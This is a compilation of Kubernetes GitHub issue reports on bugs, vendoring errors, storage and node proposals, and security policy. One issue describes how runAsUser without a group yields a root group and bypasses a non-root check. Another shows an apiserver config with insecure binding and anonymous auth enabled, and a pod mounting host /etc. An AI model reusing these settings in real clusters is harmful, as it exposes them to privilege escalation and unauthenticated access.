is this a bug report or feature request?  :\r   \r   what happened  :\r \r this is being logged on kubelet stderr on windows frequently. inode exhaustion isn't a problem on windows, so i think it would be best to comment this check out of the eviction code.\r \r    \r kubelet.err.log:4961:w0711 22:21:12.378789    2872 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r kubelet.err.log:4967:w0711 22:21:30.411371    2872 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r kubelet.err.log:4974:w0711 22:21:48.446456    2872 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r kubelet.err.log:4978:w0711 22:22:06.482441    2872 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r kubelet.err.log:4982:w0711 22:22:24.535894    2872 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r kubelet.err.log:4986:w0711 22:22:42.563935    2872 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r kubelet.err.log:4990:w0711 22:23:00.596219    2872 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r kubelet.err.log:4994:w0711 22:23:17.650490    2872 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r kubelet.err.log:5000:w0711 22:23:35.680979    2872 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r kubelet.err.log:5007:w0711 22:23:53.718547    2872 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r kubelet.err.log:5010:w0711 22:24:11.755426    2872 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r kubelet.err.log:5014:w0711 22:24:29.790428    2872 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r kubelet.err.log:5019:w0711 22:24:47.823543    2872 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r kubelet.err.log:5023:w0711 22:25:05.857578    2872 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r kubelet.err.log:5026:w0711 22:25:22.914796    2872 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r kubelet.err.log:5030:w0711 22:25:40.949163    2872 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r kubelet.err.log:5039:w0711 22:25:59.174446    2872 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r kubelet.err.log:5043:w0711 22:26:17.079619    2872 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r kubelet.err.log:5047:w0711 22:26:35.116414    2872 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r kubelet.err.log:5051:w0711 22:26:53.149491    2872 helpers.go:808  eviction manager: no observation found for eviction signal nodefs.inodesfree\r    \r \r   what you expected to happen  :\r \r i would expect this metric to be implemented, and no error logs\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - deploy a cluster, i used acs-engine 0.19.2 with kubernetes 1.11 on windows server version 1803\r -  kubectl apply -f https://raw.githubusercontent.com/patricklang/windows-k8s-samples/master/iis/iis-1803.yaml \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : windows server version 1803\r \r /assign @feiskyer

i am trying to revendor my repos to use kubernetes 1.12 and it seems that k8s.io/api repo is not tagged properly. this is the error message i am getting:\r \r    \r   github.com/appscode/kutil/vendor/k8s.io/kubernetes/pkg/apis/core/v1\r vendor/k8s.io/kubernetes/pkg/apis/core/v1/conversion.go:385:10: undefined: \ github.com/appscode/kutil/vendor/k8s.io/api/core/v1\ .procmounttype\r vendor/k8s.io/kubernetes/pkg/apis/core/v1/conversion.go:386:6: out.procmount undefined  type  \ github.com/appscode/kutil/vendor/k8s.io/api/core/v1\ .securitycontext has no field or method procmount \r vendor/k8s.io/kubernetes/pkg/apis/core/v1/zz_generated.conversion.go:4077:42: in.fstype undefined  type  \ github.com/appscode/kutil/vendor/k8s.io/api/core/v1\ .localvolumesource has no field or method fstype \r vendor/k8s.io/kubernetes/pkg/apis/core/v1/zz_generated.conversion.go:4088:5: out.fstype undefined  type  \ github.com/appscode/kutil/vendor/k8s.io/api/core/v1\ .localvolumesource has no field or method fstype \r vendor/k8s.io/kubernetes/pkg/apis/core/v1/zz_generated.conversion.go:6729:57: in.procmount undefined  type  \ github.com/appscode/kutil/vendor/k8s.io/api/core/v1\ .securitycontext has no field or method procmount \r vendor/k8s.io/kubernetes/pkg/apis/core/v1/zz_generated.conversion.go:6747:5: out.procmount undefined  type  \ github.com/appscode/kutil/vendor/k8s.io/api/core/v1\ .securitycontext has no field or method procmount \r vendor/k8s.io/kubernetes/pkg/apis/core/v1/zz_generated.conversion.go:6747:20: undefined: \ github.com/appscode/kutil/vendor/k8s.io/api/core/v1\ .procmounttype\r vendor/k8s.io/kubernetes/pkg/apis/core/v1/zz_generated.conversion.go:7258:41: cannot convert in.apigroup  type string  to type unsafe.pointer\r vendor/k8s.io/kubernetes/pkg/apis/core/v1/zz_generated.conversion.go:7270:15: cannot use   string  unsafe.pointer in.apigroup    type  string  as type string in assignment\r    \r \r i see no  fstype  in  localvolumesource  https://github.com/kubernetes/api/blob/kubernetes-1.12.0/core/v1/types.go l1601:6\r \r but k8s.io/kubernetes seem to point to it https://github.com/kubernetes/kubernetes/blob/v1.12.0/pkg/apis/core/v1/zz_generated.conversion.go l4075\r \r   

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r kubectl help description can't display underscore properly.\r \r example 1:\r  kubectl diff -h \r \r    \r diff configurations specified by filename or stdin between the current online configuration, and the configuration as it\r would be if applied.\r \r output is always yaml.\r \r kubectl external diff environment variable can be used to select your own diff command. by default, the \ diff\  command\r available in your path will be run with \ -u\   unicode  and \ -n\   treat new files as empty  options.\r    \r the environment variable  kubectl_external_diff  displayed but missing underscore.\r \r example 2:\r  kubectl apply edit-last-applied -h \r \r    \r edit the latest last-applied-configuration annotations of resources from the default editor.\r \r the edit-last-applied command allows you to directly edit any api resource you can retrieve via the command line tools.\r it will open the editor defined by your kube _editor, or editor environment variables, or fall back to 'vi' for linux or\r 'notepad' for windows. you can edit multiple objects, although changes are applied one at a time. the command accepts\r filenames as well as command line arguments, although the files you point to must be previously saved versions of\r resources.\r    \r \r the environment variable  kube_editor  with an additional space before underscore.\r \r   what you expected to happen  :\r \r display underscore properly without missing or additional space.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r use kubectl and run following example:\r \r  kubectl diff -h \r  kubectl apply edit-last-applied -h \r  kubectl config rename-context -h \r \r   anything else we need to know?  :\r \r the description are correctly in code base, but display with wrong message format.\r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/diff/diff.go l54\r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/apply/apply_edit_last_applied.go l33\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.0\ , gitcommit:\ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ , gittreestate:\ clean\ , builddate:\ 2018-12-03t21:04:45z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.0\ , gitcommit:\ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ , gittreestate:\ clean\ , builddate:\ 2018-12-03t20:56:12z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r and also linux version kubectl\r \r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.0\ , gitcommit:\ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ , gittreestate:\ clean\ , builddate:\ 2018-12-03t21:04:45z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r <!-- do not edit below this line -->\r 

go func  s  statusmanager  getpodstatus podfullname string   api.podstatus, bool  { ... }      this means we're always making copies of that struct, that's probably expensive.

touched upon in  503,  1294,  1567, and elsewhere.  privileges are currently required to do  docker build . docker in docker doesn't really work, so in order to do this on kubernetes, one has to mount the host docker socket into their container, which is a big security and abstraction problem.

kubernetes supports several types of volumes including glusterfs. also glusterfs can be persistent volumes in k8s. https://github.com/kubernetes/kubernetes/tree/release-1.2/examples/glusterfs/  for using glusterfs volumes in k8s, one of prerequisites is \ install glusterfs client package on the kubernetes nodes\ . but if it is expect that everything shall be in containers. is that possible that put gluster client in container  e.g. daemonset deploy gluster client on k8s node first , while k8s still can suing glusterfs as above example?  will k8s support such using scenarios?    thank you.

haven't thought through all the detail yet, but file this issue to carry more discussion ...   node team is working on node conformance test suites. the test suite can be divided into two set: system configuration verification and kubelet functionality test  create, delete, etc. . the system configuration verification test suite can be repackaged as an image and run at node bootup time, or simply invoked through cli: kubelet verify.   based on kubelet version, system configuration verification / sanity check test suite should validate the following configuration, and generate a report for the user: - os config: os distro, kernel version, kernel config etc.  - runtime configuration based on the current kubelet version - kubelet configuration  limit to the must-have ones, not those configurable ones  - qos related cgroups   cc/ @kubernetes/sig-node

hi all,  sometimes we delete/kill pods who is uses nfs directories which also run in kubernetes cluster or somewhere else.    simple case  : 1. run gluster server pod 2. run app server which use gluster server volume as nfs mount point 3. delete gluster pod 4. delete app pod  gluster.yaml      apiversion: v1 kind: pod metadata:   name: gluster1   namespace: gitlab   labels:     component: glusterfs-storage     host: st01 spec:   nodeselector:     host: st01   containers:     - name: glusterfs-server       image: suquant/glusterd:3.6.kube       imagepullpolicy: always       command:         - /kubernetes-glusterd       args:         - --namespace         - gitlab         - --labels         - component=glusterfs-storage       ports:         - containerport: 24007         - containerport: 24008         - containerport: 49152         - containerport: 38465         - containerport: 38466         - containerport: 38467         - containerport: 2049         - containerport: 111         - containerport: 111           protocol: udp       volumemounts:         - name: brick           mountpath: /mnt/brick         - name: fuse           mountpath: /dev/fuse         - name: data           mountpath: /var/lib/glusterd       securitycontext:         capabilities:           add:             - sys_admin             - mknod   volumes:     - name: brick       hostpath:         path: /mnt/gitlab     - name: fuse       hostpath:         path: /dev/fuse     - name: data       hostpath:         path: /opt/var/lib/gluster/gitlab      app.yaml      apiversion: v1 kind: pod metadata:   labels:     name: gitlab     version: 8.10.3-ce.0   name: gitlab   namespace: gitlab spec:   nodeselector:     host: app02   containers:     - name: gitlab       image: gitlab/gitlab-ce:8.10.3-ce.0       ports:         - name: ssh           containerport: 22         - name: http           containerport: 80       volumemounts:         - name: data           mountpath: /var/opt/gitlab   volumes:     - name: data       nfs:         server: glusterfs-storage         path: /media       after delete/kill glusterfs pod before delete/kill app pod, which is gitlab app. what is happen in this case: 1. after delete/kill glusterfs server nfs was unavailable 2. gitlab also used nfs from glusterfs-storage which is unavailable after 3. after delete  app pod, cleanup method in kubernetes working incorrectly because unmount unused pod directory stay in nfs i/o wait which is unavailable forever.  how this appears in logs:      ... aug 04 10:34:03 app03 kubelet-wrapper 15357 : e0804 10:34:03.552870   15357 kubelet.go:2596  failed cleaning pods: remove /var/lib/kubelet/pods/dc8634a9-56fd-11e6-b43a-305a3a75dc73/volumes/kubernetes.io~nfs/image-store: device or resource busy ...        solutions:    we need detect network storage mount point which is nfs one of that and force unmount it with --force and --lazy options.      umount --force --lazy /var/lib/kubelet/pods/dc8634a9-56fd-11e6-b43a-305a3a75dc73/volumes/kubernetes.io~nfs/image-store      also this kind of problem appears in secrets  http://kubernetes.io/docs/user-guide/secrets/  and configmaps  http://kubernetes.io/docs/user-guide/configmap/  mount points.  thank you.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-autoscaling/83/  failed:  k8s.io  cluster size autoscaling  slow  should add node to the particular mig  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:95 expected error:     < errors.errorstring | 0xc820966470>: {         s: \ timeout waiting 15m0s for cluster size to be 3\ ,     }     timeout waiting 15m0s for cluster size to be 3 not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_size_autoscaling.go:94

in the method  refresh  https://github.com/kubernetes/client-go/blob/master/plugin/pkg/client/auth/oidc/oidc.go l227-l253 , there is a line to parse the response from an openid provider.  the  current implementation expects  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/client/auth/oidc/oidc.go l237  an  id_token .  however in the  openid spec  http://openid.net/specs/openid-connect-core-1_0.html refreshtokenresponse  it states that  id_token  is not required on the response.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r podsecuritypolicy rbac volume\r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r \r   kubernetes version    use  kubectl version  : 1.6.2\r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : core-os\r -   kernel    e.g.  uname -a  : 4.9.9-coreos-r1  1 smp tue feb 28 00:06:10 utc 2017 x86_64 intel r  xeon r  cpu e5-2670 v2 @ 2.50ghz genuineintel gnu/linux\r -   install tools  : \r -   others  :\r \r \r   what happened  :\r i was trying to setup psp with rbac, here is what i wanted to achieve:\r 1. for regular authenticated users, they are not allowed to mount hostpath volume\r 1. allow dev-ops team member to mount hostpath volume into pod  for example, we run sumologic as daemonset and it need to mount hostpath in order to access logs from other containers \r \r mostly i followed instruction at https://github.com/kubernetes/kubernetes/blob/master/examples/podsecuritypolicy/rbac/readme.md \r \r we have enabled authentication  using a homemade webhook , rbac; the controller-manager is setup to talks to apiserver on secure port;\r \r following psp, clusterrole and clusterrolebinding are created for restricted users:\r    \r apiversion: extensions/v1beta1\r kind: podsecuritypolicy\r metadata:\r   name: volume-restricted\r spec:\r   volumes:\r     - 'secret'\r     - 'configmap'\r     - 'downwardapi'\r     - 'persistentvolumeclaim'\r     - 'emptydir'\r     - 'awselasticblockstore'\r     - 'nfs'\r   selinux:\r     rule: runasany\r   supplementalgroups:\r     rule: runasany\r   runasuser:\r     rule: runasany\r   fsgroup:\r     rule: runasany\r ---\r apiversion: rbac.authorization.k8s.io/v1beta1\r kind: clusterrole\r metadata:\r   name: restricted-psp-user\r rules:\r - apigroups:\r   - extensions\r   resources:\r   - podsecuritypolicies\r   resourcenames:\r   - volume-restricted\r   verbs:\r   - use\r ---\r apiversion: rbac.authorization.k8s.io/v1beta1\r kind: clusterrolebinding\r metadata:\r     name: restricted-psp-user\r subjects:\r - kind: group\r   name: system:authenticated\r roleref:\r    apigroup: rbac.authorization.k8s.io\r    kind: clusterrole\r    name: restricted-psp-user\r    \r and following are created for privileged users:\r    \r apiversion: extensions/v1beta1\r kind: podsecuritypolicy\r metadata:\r   name: volume-privileged\r spec:\r   volumes:\r     - 'secret'\r     - 'configmap'\r     - 'downwardapi'\r     - 'persistentvolumeclaim'\r     - 'emptydir'\r     - 'awselasticblockstore'\r     - 'nfs'\r     - 'hostpath'\r   selinux:\r     rule: runasany\r   supplementalgroups:\r     rule: runasany\r   runasuser:\r     rule: runasany\r   fsgroup:\r     rule: runasany\r ---\r apiversion: rbac.authorization.k8s.io/v1beta1\r kind: clusterrole\r metadata:\r   name: privileged-psp-user\r rules:\r - apigroups:\r   - extensions\r   resources:\r   - podsecuritypolicies\r   resourcenames:\r   - volume-privileged\r   verbs:\r   - use\r ---\r apiversion: rbac.authorization.k8s.io/v1beta1\r kind: clusterrolebinding\r metadata:\r     name: privileged-psp-user\r subjects:\r - kind: group\r   name: opsteam    <== opsteam group is from our webhook authenticator\r roleref:\r    apigroup: rbac.authorization.k8s.io\r    kind: clusterrole\r    name: privileged-psp-user\r    \r so after all these setups,  i tried to do a test deployment as follow:\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: nginx-deployment-v1\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: nginx-deployment-v1\r     spec:\r       hostnetwork: true\r       containers:\r       - name: nginx\r         image: nginx:1.7.9\r         ports:\r         - containerport: 80\r         volumemounts:\r         - mountpath: /test-pd\r           name: test-volume\r       volumes:\r       - name: test-volume\r         hostpath:\r           path: /etc\r    \r    \r >kubectl create -f nginx-v.yaml\r deployment \ nginx-deployment-v1\  created\r >kubectl get deployments\r name                  desired   current   up-to-date   available   age\r nginx-deployment-v1   1         0         0            0           50s\r    \r pods are not created,  for both regular user and opsteam members; it looks like psp volume-privileged is not getting used\r \r ====additional info=====:\r here is apiserver parameters used to start apiserver:\r    \r containers:\r   - name: kube-apiserver\r     image: quay.io/coreos/hyperkube:v1.6.2_coreos.0\r     command:\r     - /hyperkube\r     - apiserver\r     - --bind-address=0.0.0.0\r     - --insecure-bind-address=0.0.0.0\r     - --etcd-servers=http://etcd:2379\r     - --allow-privileged=true\r     - --cloud-provider=aws\r     - --enable-swagger-ui\r     - --service-cluster-ip-range=172.16.0.0/16\r     - --secure-port=443\r     - --admission-control=namespacelifecycle,limitranger,serviceaccount,defaultstorageclass,resourcequota,podsecuritypolicy\r     - --tls-cert-file=/etc/kubernetes/ssl/apiserver.pem\r     - --tls-private-key-file=/etc/kubernetes/ssl/apiserver-key.pem\r     - --client-ca-file=/etc/kubernetes/ssl/ca.pem\r     - --service-account-key-file=/etc/kubernetes/ssl/apiserver-key.pem\r     - --runtime-config=extensions/v1beta1=true,extensions/v1beta1/networkpolicies=true,extensions/v1beta1/podsecuritypolicy=true\r     - --authorization-mode=rbac\r     - --anonymous-auth=true\r     - --authentication-token-webhook-cache-ttl=30m0s\r     - --authentication-token-webhook-config-file=/etc/kubernetes/webhook.yaml\r     - --experimental-bootstrap-token-auth=true\r    \r here is the parameter used to launch controller-manager:\r    \r containers:\r   - name: kube-controller-manager\r     image: quay.io/coreos/hyperkube:v1.6.2_coreos.0\r     command:\r     - /hyperkube\r     - controller-manager\r     - --master=https://127.0.0.1\r     - --leader-elect=true\r     - --cloud-provider=aws\r     - --service-account-private-key-file=/etc/kubernetes/ssl/apiserver-key.pem\r     - --root-ca-file=/etc/kubernetes/ssl/ca.pem\r     - --controllers= ,tokencleaner,bootstrapsigner\r     - --use-service-account-credentials=true\r     - --kubeconfig=/etc/kubernetes/ssl/kube-config.yaml\r    \r   what you expected to happen  :\r regular user are not allowed to do a deployment with hostpath volume\r ops team members are able to do a deployment with hostpath volume\r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

the  comment  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/api/admissionregistration/v1alpha1/types.go l202-l204  on the type says:\r \r    \r \t// service is a reference to the service for this webhook. if there is only\r \t// one port open for the service, that port will be used. if there are multiple\r \t// ports open, port 443 will be used if it is open, otherwise it is an error.\r    \r \r but it really only works if the service port is 443. it's because the serviceresolver only searches for  port 443  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/util/proxy/proxy.go l50 .\r \r at this point, we should just update the doc to match the implementation.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  : target port and ports were interchanged.\r \r   what you expected to happen  : if the target ports and ports are different, they wouldn't work as expected\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r \r debian-iptables docker image has no ipset util, which is required by ipvs kube-proxy. so, ipvs kube-proxy will fall back on iptables mode.\r \r   what you expected to happen  :\r \r install ipset in debian-iptables docker image\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  \r /area ipvs\r

 @kubernetes/sig-node-bugs\r \r \r   what happened  :\r in kubernetes 1.8.5 there is a current pr that is causing issues in terms of the security it is intending to provide. this logic  not checked with other runtimes , doesn't work well for docker. these seems more like a docker constraint with the runtime implementation that you've implemented and now enforced. so, the issue really is that:\r \r a  you can bypass the security constraint by providing a runasuser in your spec and get gid of 0  if you don't pass the runasuser with a gid as well or group at all  it defaults in the container to 0 root user i.e. runasuser: 1000 instead of runasuser: 1000:1000\r \r b  you're not validating that the user in runasuser actually matches the user in the imagespec as the user in that image, but you're only using uid anyway everywhere so it makes no real difference  expected behavior is mentioned further down \r \r c  by runasnonroot set to true, none of the default lookups work because they're based on uid only and so are constrained if you have built docker images as user username and not a uid and there is no way for docker to map the user to a uid and then use that in your code logic as you've put in logic already around uid only.\r \r https://github.com/kubernetes/kubernetes/pull/56503\r \r the issue is that it is enforcing a security context that matches solely based on uid not user and also can be overriden in the logic by supplying a runasuser, which then negates the security i.e. if you override the spec with a runasuser and a uid  not a user , it will pass the logic\r \r https://github.com/php-coder/kubernetes/blob/445393fdcefa6d0354b7ce32a2304a7765fbd305/pkg/kubelet/kuberuntime/security_context.go l85-l90\r \r but then when docker is run, it is cirumventing the user in the container with a new uid  the one it potentially wasn't built to use  as it doesn't validate. it also means that the gid of the user in the container is now 0 by default  a root group , circumventing the security it's attempting to control. example would be a docker file like below\r \r    from alpine:latest\r run adduser -s -u 1000 test123\r user 1000\r cmd \ id\ \r    \r \r    \r docker run test:latest\r uid=1000 test123  gid=65533 nogroup  groups=65533 nogroup \r    \r \r    \r docker run --user 12345 test:latest\r uid=12345 gid=0 root \r    \r \r the lookup issue that is based on uid only is here:\r \r https://github.com/kubernetes/kubernetes/blob/b30876a5539f09684ff9fde266fda10b37738c9c/pkg/kubelet/kuberuntime/helpers.go l137-l155\r \r which will call these \r \r https://github.com/kubernetes/kubernetes/blob/876259435ae92ed272120e268d1205539703fa73/pkg/securitycontext/util.go l154-l163\r \r https://github.com/kubernetes/kubernetes/blob/876259435ae92ed272120e268d1205539703fa73/pkg/securitycontext/util.go l91-l141\r \r which essentially will return the effectivesc back up the chain to the\r \r https://github.com/kubernetes/kubernetes/blob/b40f865ae509dcbd29fbea5f8fca2312d320d9ea/pkg/kubelet/kuberuntime/security_context.go l30-l31\r \r bare with me here! \r \r also the logic around the runtime for it to validate the user of the imagespec is enforcing a uid only hence if a user has been put in the dockerfile there is no uid and hence it can't validate:\r \r https://github.com/kubernetes/kubernetes/blob/b30876a5539f09684ff9fde266fda10b37738c9c/pkg/kubelet/dockershim/helpers.go l267-l281\r \r so here it will return nil and err as the user we provide isn't an int inside the string but an actual user string. \r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/kuberuntime/kuberuntime_container.go l176-l190\r \r is making these calls and validating that it is nonroot. \r \r in the end we end up in a place where you either have to rebuild your dockerfiles with user as a uid or override completely with the runasuser in the spec and hope that people match the correct uid to the one in the container, which will need validating by themselves. \r \r \r   what you expected to happen  :\r \r i would expect:\r \r 1  docker to provide some way of figuring out the uid used when a  user    see here  https://docs.docker.com/engine/reference/builder/ user  is being used in the dockerfile  not quite sure how they would do that \r \r 2  for kubernetes to support user or uid. the runasuser still needs a uid as the logic is matching uid's only so if you provide a user as a username and not a uid, it will fail to match and the result is that the code logic assumes you're now running as a root user, as it has no way of matching otherwise.\r \r 3  kubernetes to validate the runasuser even if at the moment it is a uid only supported, to match that the uid used in the image i.e. the user in the dockerfile is uid <whatever> is the same as the one being provided as a runasuser. this will block people overriding the user that the image is built with and hit issues with permissions or hit an issue where you're now gid 0\r \r 4  understanding what problem this is trying to prevent it seems it's enforcing behavior that isn't predictable and limiting the behavior where people can't deploy\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r - rollout kubernetes 1.8.5\r - build an image with a user that isn't a uid\r    \r from alpine:latest\r run adduser -s -u 1000 test123\r user test123\r cmd \ id\ \r    \r - define a spec to have runasnonroot: true\r     yaml\r  spec:\r       containers:\r       - image: test:latest\r         name: test\r         securitycontext:\r           runasnonroot: true\r    \r -  you will get the error\r    \r  pod          spec.containers{test}        warning   failed                  kubelet, ip-10-250-6-11.eu-west-2.compute.internal    \r error: container has runasnonroot and image has non-numeric user  test123 , cannot verify user is non-root\r    \r - you can then override it with \r    yaml\r     spec:\r       containers:\r       - image: test:latest\r         name: test\r         securitycontext:\r           runasuser: 1000\r           runasnonroot: true\r    \r \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.8.5  it was introduced in this version \r - cloud provider or hardware configuration:\r irrelevant it's introduced in 1.8.5 but aws in our case\r - os  e.g. from /etc/os-release :\r coreos\r - kernel  e.g.  uname -a  :\r n/a\r - install tools:\r n/a\r - others:\r n/a

 \r   what happened  :\r \r the wording of kubectl cluster-info is misleading. when no cluster is running, it will state  in green  that the kubernetes master is running.\r    \r devel@vagrant:~$ kubectl cluster-info\r kubernetes master is running at http://localhost:8080\r  ... \r the connection to the server localhost:8080 was refused - did you specify the right host or port?\r    \r \r   what you expected to happen  :\r \r i would expect a different message, like\r    \r using kubernetes master at http://localhost:8080\r  ... \r the connection to the server localhost:8080 was refused - did you specify the right host or port?\r    \r or a  kubernetes master is not at http://localhost:8080 \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r execute kubectl with no config files, and no local kubernetes cluster running on 8080\r \r

implement proposal  58635 for azure\r \r > we propose to taint the node with \ stopped\  condition. when kubelet stops updating, node controller checks cloud provider and see whether the node is in \ stopped\  state  note: different cloud provider might use different term to represent this state, e.g., terminated . when volume controller gets a node update/delete event, it can check the node taint spec and mark the volumes attached to that node are safe to detach  volumes can be be removed from the list of volumeinuse  meaning the volumes are mounted . when detach is issued, the operation can be proceeded without delay.\r \r we should implement  instanceshutdownbyproviderid    interface in azure cloud provider.  instanceshutdownbyproviderid    returns true if the instance is in stopped state to detach volumes. but if instance is deleted we should not return error.\r \r related features: https://github.com/kubernetes/features/issues/551\r related proposal: https://github.com/kubernetes/kubernetes/issues/58635\r related prs:\r - https://github.com/kubernetes/kubernetes/pull/60009\r - https://github.com/kubernetes/kubernetes/pull/66213\r \r   \r /cc @brendandburns @khenidak @andyzhangx

container conformance blackbox test -> it should run successfully to completion  conformance   should check the container enters a running state before exiting

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : yes    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :    kubectl       yaml    mapping values are not allowed in this context    is this a bug report or feature request?    choose one :  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.      if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : v1.2    environment  : -   cloud provider or hardware configuration  : -   os    e.g. from /etc/os-release :   centos 7 -   kernel    e.g.  uname -a  :   3.10 -   install tools  :   yum install  -   others  :    what happened  : when i execute kubectl create -f x.yaml or kubectl get nodes, i get \ error: yaml: line 2: mapping values are not allowed in this context\ .  this is a serious problem. i cannot use kubernetes to manage my cluster.    what you expected to happen  : who can help me to repair this problem.    how to reproduce it    as minimally and precisely as possible :    anything else do we need to know  :

32539 has the pull request for the proposal.     objective  the goal of this proposal is to define a simplified flex volume plugin driver installation model. existing plugin driver installation model has the following drawbacks. - it requires manual installation on every node and restart of kubelet on every node & controller-manager on the master node. - it is not supported in gce & coreos environments where access to master node or root filesystem is restricted. access to master node is required to install the plugin for controller-manager to provision, delete, attach & detach calls. - manual and controlled upgrade on every node and requires downtime.    new proposal: - build a container image with support for one or more plugin drivers. - run the container as a daemon-set with the label  “flexvolumedriver-provider.kubernetes.io/name”: “<provider name>”  - define new flexvolume driver with the selector  “flexvolumedriver-provider.kubernetes.io/name”:”<provider-name>” . this should match the label in the above daemon-set. - kubelet & controller manager will watch for new flexvolume driver objects and initialize them. - now all the flex volume driver calls will be executed inside the container of the matching daemon set. - handling conflicts: if more than one daemon-set matches the same label, the first available daemon-set will be used.  please refer to proposal   32543  for flexvolumedriver api type. this proposal requires kubelet and controller-manager support to watch for new flexvolumedriver api types and initialize them.  this model fixes the shortcomings in existing installation model. installation of drivers is no longer manual and does not require restart of any kubernetes modules. works in all deployment model, like gce & coreos. upgrade is as simple as upgrading a daemon-set  inside the container image, drivers are expected to be installed at  /plugins/<provider~driver>/<driver> .  as long as the  